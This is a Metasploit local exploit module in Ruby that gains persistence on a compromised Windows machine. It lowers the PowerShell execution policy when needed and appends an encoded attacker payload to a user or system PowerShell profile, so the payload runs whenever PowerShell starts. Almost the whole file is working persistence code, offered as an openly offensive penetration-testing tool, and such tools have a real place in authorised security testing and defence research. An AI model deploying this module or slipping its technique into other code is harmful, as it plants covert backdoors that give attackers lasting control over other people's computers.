##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Registry
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Powershell Profile Persistence',
        'Description' => %q{
          This module establishes persistence by modifying a PowerShell profile script, which is automatically
          executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
          and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'madefourit'
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
          [ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
        ],
        'DisclosureDate' => '2019-11-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options [
      OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),
      OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),
      OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),
    ]
  end

  def policy_allows_execution?
    # Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back
    execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')
    begin
      @policies = JSON.parse(execution_policies)
    rescue JSON::ParserError
      print_error("Failed to parse powershell execution policies: #{execution_policies}")
      return false
    end
    ['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])
  end

  def check
    return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

    unless policy_allows_execution?
      if datastore['EXECUTIONPOLICY']
        return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")
      else
        return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")
      end
    end
    vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")

    CheckCode::Appears('Powershell is installed and exploitable on the target system')
  end

  def backdoor_profile(profile_file)
    module_created_file = false
    unless file?(profile_file)
      if datastore['CREATE']
        print_status("#{profile_file} does not exist, creating it...")
        folders = profile_file.split('\\')[0..-2]
        folders = folders.join('\\')
        unless directory?(folders)
          mkdir(folders, cleanup: false)
          @clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
        end
        unless write_file(profile_file, '') # write empty file so we can append later
          print_error("Failed to create profile file at #{profile_file}")
          return false
        end
        module_created_file = true
      else
        print_error("#{profile_file} does not exist and CREATE option is false")
        return false
      end
    end

    if module_created_file
      @clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"
    else
      pfile = read_file(profile_file)
      if pfile.nil?
        vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")
      else
        backup_file = store_loot(
          'powershell.profile',
          'text/plain',
          session,
          pfile, profile_file.split('\\').last,
          'powershell profile backup'
        )

        print_status("Created #{profile_file} backup: #{backup_file}")
        @clean_up_rc << "upload #{backup_file} #{profile_file}\n"
      end
    end

    pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
    splitter = '-c '
    pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here
    pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes

    vprint_status("Appending payload to #{profile_file}")
    unless append_file(profile_file, "\n#{pload}\n")
      print_error("Failed to append payload to #{profile_file}")
      return false
    end
    true
  end

  def install_persistence
    profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')
    begin
      profiles = JSON.parse(profiles)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")
    end
    profiles = profiles.transform_keys { |k| k.to_s.upcase }

    if !policy_allows_execution? && datastore['EXECUTIONPOLICY']
      print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')
      cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')
      @clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"
    end

    case datastore['PROFILE']
    when 'AUTO'
      ['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
        unless profiles.key?(profile)
          print_error("#{profile} not found in user's profiles")
          next
        end
        success = backdoor_profile(profiles[profile])
        break if success
      end
    when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'
      unless profiles.key?(datastore['PROFILE'])
        fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")
      end
      backdoor_profile(profiles[datastore['PROFILE']])
    end
  end
end
